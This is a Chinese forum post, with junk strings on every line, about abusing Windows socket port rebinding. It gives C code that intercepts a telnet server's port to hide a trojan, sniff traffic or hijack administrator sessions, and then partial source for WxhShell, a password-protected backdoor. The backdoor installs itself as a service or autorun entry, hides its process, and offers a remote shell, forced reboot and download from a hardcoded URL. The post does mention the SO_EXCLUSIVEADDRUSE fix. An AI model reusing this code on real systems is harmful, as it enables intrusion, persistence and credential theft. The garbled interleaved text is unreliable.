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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [[d@P%X&  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~CL^%\K  
1dX)l  
  saddr.sin_family = AF_INET; kR|(hA,$N  
qf6}\0   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); SZ"^>}zl=  
Gzu $  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); KoO\<_@";  
3?oj46gP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~yuj;9m3  
0i65.4sK  
  这意味着什么?意味着可以进行如下的攻击: OX/}j_8E^(  
OPwO`pN  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {"w4+m~+te  
|&a[@(N:zf  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^)|1T#Tz  
bLi>jE.%.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p3(&9~ s  
e8<[2J)P&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  zhFk84  
BFyVq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。  `jB2'  
WXC}Ie  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 S)d_A  
rJl'+Ae9N|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #y%?A;  
[sH[bmLR  
  #include UHW;e}O5  
  #include /4n:!6rt  
  #include a uz2n  
  #include    K# dV.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0q ^dpM  
  int main() +R?d6IjH  
  { ;qT7BUh(%  
  WORD wVersionRequested; [{!5{k!  
  DWORD ret; 1p9+c~4l:  
  WSADATA wsaData; }];_ug* "  
  BOOL val; ^04|tda  
  SOCKADDR_IN saddr; RW. >;|m  
  SOCKADDR_IN scaddr; /K]<7  
  int err; oZ(T`5  
  SOCKET s; {|J'd+  
  SOCKET sc; E64d6z^7u  
  int caddsize; /^z5;aG  
  HANDLE mt; +e%U6&l{  
  DWORD tid;   q^hL[:ms#  
  wVersionRequested = MAKEWORD( 2, 2 ); <e&*Tx<8  
  err = WSAStartup( wVersionRequested, &wsaData ); !xxu~j^T  
  if ( err != 0 ) { v/yt C/WH"  
  printf("error!WSAStartup failed!\n"); R83Me #&  
  return -1; p4OiCAW;  
  } ndIU0kq3  
  saddr.sin_family = AF_INET; ;eRYgC  
   ^.9I[Umua  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 YSE6PG   
7!E?(3$#"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9}2E+  
  saddr.sin_port = htons(23); Qm X(s  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N yK7TKui  
  { H]7;O M/g  
  printf("error!socket failed!\n"); Ya)s_Zr7  
  return -1; Lh5d2}tcO  
  } 0FV?By  
  val = TRUE; %CP:rAd`M.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \VX~'pkrd/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &m6x*i-5\f  
  { 75V?K  
  printf("error!setsockopt failed!\n"); >9.xFiq<  
  return -1; fscAG\>8  
  } 5/O;&[lYy  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?X.MKNbp  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6Q. _zk  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;ip"V 0`  
a!>yX ex  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I!ykm\<  
  { bVc;XZwI  
  ret=GetLastError(); |&t 2jD(  
  printf("error!bind failed!\n"); ui:  
  return -1; ^c{,QS{  
  } '}{J;moB  
  listen(s,2); N'nqVYTU  
  while(1) -/.Xf<y58  
  { ji[O?  
  caddsize = sizeof(scaddr); _/_1:ivY8  
  //接受连接请求 ;$y(Tvd;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ec4jiE  
  if(sc!=INVALID_SOCKET) 7lvUIc?krW  
  { l ^*GqP5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /IS j0"/$  
  if(mt==NULL) ?N,'1I  
  { 38%xB<Y  
  printf("Thread Creat Failed!\n"); E Cx_ [|3{  
  break; < ealt  
  } F-)lRGw  
  } < }3c%Q1  
  CloseHandle(mt); %7PprN0>  
  } 6.Nu[-?  
  closesocket(s); >a;^=5E  
  WSACleanup();  h7-!q@  
  return 0; .oq!Ys4KA  
  }   bqXCe\#  
  DWORD WINAPI ClientThread(LPVOID lpParam) AFWcTz6#d  
  { Hb3+$vJ^  
  SOCKET ss = (SOCKET)lpParam; Q)c $^YsI  
  SOCKET sc; e'oM% G[  
  unsigned char buf[4096]; :4"SJ  
  SOCKADDR_IN saddr; +b.qzgH>r  
  long num; VJX{2$L  
  DWORD val; }*~EA=YN;  
  DWORD ret; 0(|BQ'4~H  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .(,4a<I?%N  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R<gC,eV<=  
  saddr.sin_family = AF_INET; 0}YR=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Rla4XN=mf  
  saddr.sin_port = htons(23); dUtxG ~9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y WSo:)LY  
  { pCz;km  
  printf("error!socket failed!\n"); "msCiqF{z  
  return -1; Tw{H+B"uVz  
  } :5G3 uN+\  
  val = 100; oAX-Sg-/$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ';x .ry  
  { 9x,Aqr$t  
  ret = GetLastError(); fv !l{  
  return -1; ujZki.x  
  } 6y,M+{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :z%vNKy1  
  { &+-ZXN  
  ret = GetLastError(); S<f&?\wK=v  
  return -1; w~EXO;L2  
  } J'4{+Q_pa  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }(AUe5aw`G  
  { >wjWX{&?  
  printf("error!socket connect failed!\n"); aTs5^Kh')  
  closesocket(sc); x\XgQQ]-  
  closesocket(ss); V#1_jxP)Q  
  return -1; X-! yi  
  } ~1pJQ)!zlq  
  while(1) @5H1Ni5/o@  
  { Z&=K+P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 BBw`8!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 L`YnrDZK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =iRi 9r'l  
  num = recv(ss,buf,4096,0); ^Ois]#py  
  if(num>0) EH"iK2n\9  
  send(sc,buf,num,0); d3T|N\(DL  
  else if(num==0) >U^AIaW  
  break; !arcQ:T@G  
  num = recv(sc,buf,4096,0); YWeEvo(,=  
  if(num>0) +~=>72/r  
  send(ss,buf,num,0); p 8BAan3  
  else if(num==0) FyYQ4ov0&o  
  break; )1O *~%  
  } ??{(.`}R~  
  closesocket(ss); -8qLshQ  
  closesocket(sc); 9Ps:]Kp!vN  
  return 0 ; ]DdD FLM  
  } Tfhg\++u  
@QtJ/("&WC  
/a6\G.C5  
========================================================== *}3e'0`  
jK\2y|&&c  
下边附上一个代码,,WXhSHELL K;G1cFFyG  
\~Zj](#  
========================================================== ;C-5R U V  
bslv_OxJ  
#include "stdafx.h" jHBn^Nly  
mwCNfwb:  
#include <stdio.h> -B$oq8)n*  
#include <string.h> US'X9=b_  
#include <windows.h> kR6rf_-[  
#include <winsock2.h> Kwfrh?  
#include <winsvc.h> WUAjb,eo  
#include <urlmon.h> knpb$eX4  
X#5dd.RR  
#pragma comment (lib, "Ws2_32.lib") *%'4.He7V  
#pragma comment (lib, "urlmon.lib") #O^H? 3Q3  
[X)+(-J  
#define MAX_USER   100 // 最大客户端连接数 A,MRK#1u  
#define BUF_SOCK   200 // sock buffer GC H= X  
#define KEY_BUFF   255 // 输入 buffer Mq42^m:qe  
j*Q/vY!T  
#define REBOOT     0   // 重启 Gp$[u4-6M6  
#define SHUTDOWN   1   // 关机 nTY`1w.;  
@.T'  
#define DEF_PORT   5000 // 监听端口 J$&!Y[0  
:D-d`OyjG>  
#define REG_LEN     16   // 注册表键长度 Ka2U@fK"  
#define SVC_LEN     80   // NT服务名长度 `8\pihww  
QY-P!JD  
// 从dll定义API >Fz_]z   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b`E0tZcJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gPe*M =iF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0gHJ%m9s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w@.E}%bwq  
A2Rr*e  
// wxhshell配置信息 I'BoP  
struct WSCFG { 2j H`  
  int ws_port;         // 监听端口 Tx0/3^\>8A  
  char ws_passstr[REG_LEN]; // 口令 17H_>a\`  
  int ws_autoins;       // 安装标记, 1=yes 0=no tHXt*tzq  
  char ws_regname[REG_LEN]; // 注册表键名 dI-=0v-|  
  char ws_svcname[REG_LEN]; // 服务名 w48T?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q>r9ooN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B c*Rn3i@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j)C%zzBu(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <|Bh;;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O9A.WSJ >}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d4[M{LSl  
0Apdhwk~  
}; ,y,NVF  
s}`ydwSg8  
// default Wxhshell configuration !zvKl;yT  
struct WSCFG wscfg={DEF_PORT, @8|-  C  
    "xuhuanlingzhe", 9Z6] ];8E  
    1, rYeFYPS  
    "Wxhshell", rcq(p (!  
    "Wxhshell", bL!NT}y`  
            "WxhShell Service", f'aUo|^?  
    "Wrsky Windows CmdShell Service", "2 ma]Ps  
    "Please Input Your Password: ", !V Zl<|  
  1, :Py/d6KK  
  "http://www.wrsky.com/wxhshell.exe", L/<^uO1  
  "Wxhshell.exe" Z5[ t/  
    }; hBz~FB];&  
% &4sHDP  
// 消息定义模块 +G? 4Wc1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h;^h[q1'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9O?.0L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /^DDU!=(<  
char *msg_ws_ext="\n\rExit."; {]] nQ  
char *msg_ws_end="\n\rQuit."; M=x/PrY"R  
char *msg_ws_boot="\n\rReboot..."; pJVzT,poh  
char *msg_ws_poff="\n\rShutdown..."; :"3WCB  
char *msg_ws_down="\n\rSave to "; %@G<B  
*@dRL3c^=  
char *msg_ws_err="\n\rErr!"; 6fY(u7m|p  
char *msg_ws_ok="\n\rOK!"; hqFK2 lR  
G|'DAj%  
char ExeFile[MAX_PATH]; %$Wt"~WE"O  
int nUser = 0; '-4);:(^  
HANDLE handles[MAX_USER]; EfcoJgX  
int OsIsNt; ^;<s"TJ(m)  
PsEm(.z  
SERVICE_STATUS       serviceStatus; E xc`>Y q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cA`R~o"  
(".`#909  
// 函数声明 ,@khV  
int Install(void); pxM^|?Hxc  
int Uninstall(void); X{9D fgW  
int DownloadFile(char *sURL, SOCKET wsh); hp%|n:.G  
int Boot(int flag); Zu_m$Mx  
void HideProc(void); Dvo.yn|kB  
int GetOsVer(void); P_z3TK  
int Wxhshell(SOCKET wsl); 1V+a;-?  
void TalkWithClient(void *cs); v~?d7p {  
int CmdShell(SOCKET sock); IW Lv$bPZ/  
int StartFromService(void); tcwE.>5O  
int StartWxhshell(LPSTR lpCmdLine); S@z$,}Yc`<  
d\3L.5]X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xQ* U9Wt;T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6;l{9cRgc  
Jv1.Yz  
// 数据结构和表定义 dum! AO  
SERVICE_TABLE_ENTRY DispatchTable[] = {Lk~O)E  
{ ,6}HAC $  
{wscfg.ws_svcname, NTServiceMain}, 9-Ikd>9  
{NULL, NULL} 0J7[n*~  
}; .2C}8GGC'  
Fm`hFBKW  
// 自我安装 +%7yJmMw  
int Install(void) pOyM/L   
{ a"b9h{h@  
  char svExeFile[MAX_PATH]; ot;j6eAH~E  
  HKEY key; G{knO?BK  
  strcpy(svExeFile,ExeFile); 3:PBVt=  
sI@m"A  
// 如果是win9x系统,修改注册表设为自启动 `D>PU@s$nT  
if(!OsIsNt) { b DeHU$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !Q*.Dw()[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gkI(B2,/  
  RegCloseKey(key); mSY;hJi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g*N~r['dZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NC>rZS]  
  RegCloseKey(key); % rRYT8  
  return 0; m_W\jz??k  
    } ipQJn_:2  
  } wlAlIvIT  
} j_L 'Ztu3  
else { k*J}/HO  
9Y&n$svB  
// 如果是NT以上系统,安装为系统服务  fv5'Bl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \'q-Xr'}M  
if (schSCManager!=0) oA(jtX[(  
{ c;xL.  
  SC_HANDLE schService = CreateService <dV|N$WV  
  ( d0Py[37V  
  schSCManager, 2L[/.|  
  wscfg.ws_svcname, ~Hd{+0  
  wscfg.ws_svcdisp, Ih;6(5z  
  SERVICE_ALL_ACCESS, ' aBX>M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z[M LMf[c  
  SERVICE_AUTO_START, K,&)\r kzD  
  SERVICE_ERROR_NORMAL, qmdl:J|?  
  svExeFile, g:dw%h  
  NULL, mv/'H^"[_  
  NULL, `4'v)!?  
  NULL, rqxoqcZ  
  NULL, m>x.4aO1  
  NULL Op" \i   
  ); 4rO07)~l  
  if (schService!=0) >DBaKLu\  
  { RgHPYf{  
  CloseServiceHandle(schService); 9.m_3"s  
  CloseServiceHandle(schSCManager); S:v]3G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y"#o9"&>&  
  strcat(svExeFile,wscfg.ws_svcname); >)R7*^m{'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S)iv k x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D?44:'x+-  
  RegCloseKey(key); RI!!?hYm  
  return 0; g;i>nzf  
    } B# |w}hj  
  } Lco JltY{5  
  CloseServiceHandle(schSCManager); t.t$6+"5We  
} awB1ryrOF  
} 4'Z=T\:  
DxdiXf[j  
return 1; 6H+gFXIv  
} b] DF7 U  
[M65T@v  
// 自我卸载 XpJT/&4  
int Uninstall(void) (@B gsY  
{ :;cKns0OA  
  HKEY key; G%Hr c  
a}|B[b  
if(!OsIsNt) { R+Dx#Wn I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'H`aQt+  
  RegDeleteValue(key,wscfg.ws_regname); hD/bgquT  
  RegCloseKey(key); -%E+Yl{v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y))d[ 1E  
  RegDeleteValue(key,wscfg.ws_regname); 0UB)FK ,9  
  RegCloseKey(key); m=jxTZK  
  return 0; z4!TK ps  
  } kl4FVZof  
} (n;#Z,  
} =H%c/Jty  
else { g,h'K  
-Ob'/d5&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'h53:?~  
if (schSCManager!=0) z|^:1ov,  
{ X=USQj\A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mHrt)0\_  
  if (schService!=0) >'iXwe-  
  { L9M0vkgri  
  if(DeleteService(schService)!=0) { F.i*'x0u  
  CloseServiceHandle(schService); ~2@+#1[g8z  
  CloseServiceHandle(schSCManager); 0-M.>fwZ=  
  return 0; \b95CU  
  } nsIx5UA_n  
  CloseServiceHandle(schService); Azv j(j  
  } 3jZPv;9OC  
  CloseServiceHandle(schSCManager); es 8%JTi  
} &<2~7?$!  
} m X{_B!j^  
@W[`^jfQ  
return 1; X31[  
} |=fa`8m G  
8fRk8  
// 从指定url下载文件 rJH u~/_Dq  
int DownloadFile(char *sURL, SOCKET wsh) V*5 ~A [r  
{ s_S[iW`l=  
  HRESULT hr; XZde}zUWn  
char seps[]= "/"; piIj t  
char *token; VRQ'sn@  
char *file; [0<N[KZ)  
char myURL[MAX_PATH]; T}d% XMXq  
char myFILE[MAX_PATH]; P&@ 2DI3m  
i}"Eu< P  
strcpy(myURL,sURL); #\3(rzQVO  
  token=strtok(myURL,seps); 8;K'77h  
  while(token!=NULL) j;6kN-jx  
  { .Y|5i^i9{  
    file=token; luXcr H+w  
  token=strtok(NULL,seps); 6yH(u}!.  
  } 1ml>  
@'>h P  
GetCurrentDirectory(MAX_PATH,myFILE); "I+71Ce  
strcat(myFILE, "\\"); zV {_dO  
strcat(myFILE, file); E>>@X^ =  
  send(wsh,myFILE,strlen(myFILE),0); "=8= G  
send(wsh,"...",3,0); qM%l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {WJ9!pA!lk  
  if(hr==S_OK) w6FtDl$  
return 0; a^/j&9  
else fGGGz$;N  
return 1; U0>Uqk",  
K;j}qJvsb  
} Cn+'!?!d,  
0*$?=E  
// 系统电源模块 (#,0\ea{x  
int Boot(int flag) **p|g<wvY*  
{ K@d,8[  
  HANDLE hToken; %Y!31oC#  
  TOKEN_PRIVILEGES tkp; |hGi8  
kD1[6cJ!=.  
  if(OsIsNt) { 4'EC(NR7N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kq +`.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wP:ab  
    tkp.PrivilegeCount = 1; yvN;|R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G_OLUuK?C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mtfEK3?2*  
if(flag==REBOOT) { NABVU0}   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nz-( 8{ae  
  return 0; @px 4[  
} &\Kp_AR  
else { 3jx5Lou)&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SA3!a.*c  
  return 0; W<']Q_su  
} [@K#BFA  
  } leY fF  
  else { :x*#RnRr.  
if(flag==REBOOT) { U42B( ow  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eD<Kk 4){  
  return 0; -bJC+Yn  
} ]&;M 78^6  
else { \M(#FS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M$L ; -T  
  return 0; F,F1Axf  
} )GgO=J:o  
} .MUoNk!  
ZP*(ZU@j=Z  
return 1; PO1|l-v<Yq  
} Fh[Gq  
UB5X2uBv  
// win9x进程隐藏模块 uPZ<hG#K  
void HideProc(void) 78o>UWA:  
{ JY6&CL`C  
4\Nt"#U)g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h4N%(?7  
  if ( hKernel != NULL ) Pgdv)i3  
  { BZUA/;Hz &  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~r%>x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HzuB.B<  
    FreeLibrary(hKernel); 83~9Xb=!\  
  } O\;R (  
9pY`_lxa>  
return; @ckOLtxE>  
} @)hrj2Jw  
RlW7l1h&  
// 获取操作系统版本 A~Uqw8n$\  
int GetOsVer(void) cx_.+R  
{ '5V#sq;Z  
  OSVERSIONINFO winfo; m`3Mev  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g#Doed.30=  
  GetVersionEx(&winfo); Z#Q)a;RA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xW hi>  
  return 1; a d,0*(</  
  else iD/r8_}  
  return 0; 0qdgt  
} heF<UMI  
yEvuTgDv  
// 客户端句柄模块 W{JNNf6G  
int Wxhshell(SOCKET wsl) >%PPp.R  
{ +[2X@J  
  SOCKET wsh; rEWPVT  
  struct sockaddr_in client; OI0tgkG  
  DWORD myID; W5#5RK"uX  
ga#Yd}G^~3  
  while(nUser<MAX_USER) O7KR~d  
{ c"<bq}L7S  
  int nSize=sizeof(client); ww0m1FzX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^Ko{#qbl/  
  if(wsh==INVALID_SOCKET) return 1; >mWu+Nn:  
n-%8RV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =2BB ~\G+  
if(handles[nUser]==0) JsA9Xdk`  
  closesocket(wsh); 0lyCk }c  
else W;^bc*a_  
  nUser++; P2Or|_z  
  } KR4vcI[4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tOu:j [  
x>E**a?!L  
  return 0; X*cf|g  
} @C}Hx;f6  
T-'B-g  
// 关闭 socket 9YtdE*,k  
void CloseIt(SOCKET wsh) K% Gbl#  
{ 4_A9o9&_Rh  
closesocket(wsh); `6t3D&.u0  
nUser--; 1|PmZPKq9n  
ExitThread(0); /nX+*L}d/  
} |>Xw"]b;  
TYs#v/)I  
// 客户端请求句柄 YflotlT}  
void TalkWithClient(void *cs) 1V@\L|Y  
{ cv'Fc  
INHN=KY{  
  SOCKET wsh=(SOCKET)cs; o}iqLe\  
  char pwd[SVC_LEN]; s\-^vj3  
  char cmd[KEY_BUFF]; +]!`>  
char chr[1]; qZ39TTQ*p  
int i,j; JMT?+/Qbu  
kOe~0xoT@u  
  while (nUser < MAX_USER) { .W>8bg'u9  
!iOuIYjV  
if(wscfg.ws_passstr) { V r0-/T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D(GAC!|/]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r7I,%}k  
  //ZeroMemory(pwd,KEY_BUFF); j&S8x|5  
      i=0; kP6P/F|RcZ  
  while(i<SVC_LEN) { kZlRS^6  
>v+ia%o  
  // 设置超时 kS>'6xXH  
  fd_set FdRead; Z~Mq5#3F  
  struct timeval TimeOut; Q~'a1R  
  FD_ZERO(&FdRead); z~g7O4#  
  FD_SET(wsh,&FdRead); aoZ`C3  
  TimeOut.tv_sec=8; ?Z<2zm%qV  
  TimeOut.tv_usec=0; R.g'&_zx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kRk=8^."By  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zn4Yo  
10/N-=NG18  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F C= %_y  
  pwd=chr[0]; n.m6n*sf7  
  if(chr[0]==0xd || chr[0]==0xa) { }/Wd9x  
  pwd=0;  MRB>(}  
  break; + njE  
  } oadlyqlw#  
  i++; =](c7HEQf  
    } kUJ\AK  
qdn\8Pn  
  // 如果是非法用户,关闭 socket dwc$?Bg,5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YLlw:jN  
} vWJhSpC[  
5T[9|zJs  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 328(W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ':7%@2Zo  
Q7y6</4f  
while(1) { x*#F|N4~',  
1%L* 9>e  
  ZeroMemory(cmd,KEY_BUFF); 6, Q{/  
%Km_Sy[7']  
      // 自动支持客户端 telnet标准   dkV%Pyj  
  j=0; n\2VrUQ)M  
  while(j<KEY_BUFF) { (u]ajT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bc4{$sc"O  
  cmd[j]=chr[0]; J! 4l-.-  
  if(chr[0]==0xa || chr[0]==0xd) { '_n{+eR74  
  cmd[j]=0; dt"[5;_P`  
  break; Po[u6K2&  
  } K/~+bq# +  
  j++; Xu1l6jr_  
    } u.gh04{5  
^i{B8]2,  
  // 下载文件 %*.;3;m  
  if(strstr(cmd,"http://")) { ^g,[#Rh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cU25]V^{\  
  if(DownloadFile(cmd,wsh)) r\Wp\LfY&{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j$*]'s&_hZ  
  else -Uz xs5Zl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1K'0ajl1A  
  } q{UP_6O F  
  else { %PG::b  
y(:hN)  
    switch(cmd[0]) { sBIqee'T  
  0EM`,?i .Q  
  // 帮助 #R|M(Z">q  
  case '?': { laM0W5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g1\4Jb  
    break; u[U~`*i*rA  
  } gKg2Ntxj  
  // 安装 8w|j Z@  
  case 'i': { G'( %8\  
    if(Install()) 6|#^4D)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f8! PeQ?  
    else \n850PS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {KL<Hx2M  
    break; &Ko}Pv  
    } J+&AtGq]u  
  // 卸载 J p .wg  
  case 'r': { CF^7 {g(y_  
    if(Uninstall()) -8tWc]c |4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q8M&nf  
    else nJ4h9`[>V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IxCEE5+`%  
    break; .i/]1X*;r^  
    } (0W%Y Z!&  
  // 显示 wxhshell 所在路径 ,"PwNv  
  case 'p': {  zUqiz  
    char svExeFile[MAX_PATH]; )dLESk  
    strcpy(svExeFile,"\n\r"); i{VjSWq  
      strcat(svExeFile,ExeFile); ja~b5Tf9  
        send(wsh,svExeFile,strlen(svExeFile),0); Ta!.oC[  
    break; Ts;W,pgP  
    } Wuosr3P  
  // 重启 .c"UlOZ&w^  
  case 'b': { "yc/8{U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MPO!qSS]  
    if(Boot(REBOOT)) VzpPopD,QW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V#!ypX]AB[  
    else { g_] u<8&  
    closesocket(wsh); n<CJx+U  
    ExitThread(0); hzPx8sO  
    } 5vY h~|  
    break; "h7-nwm  
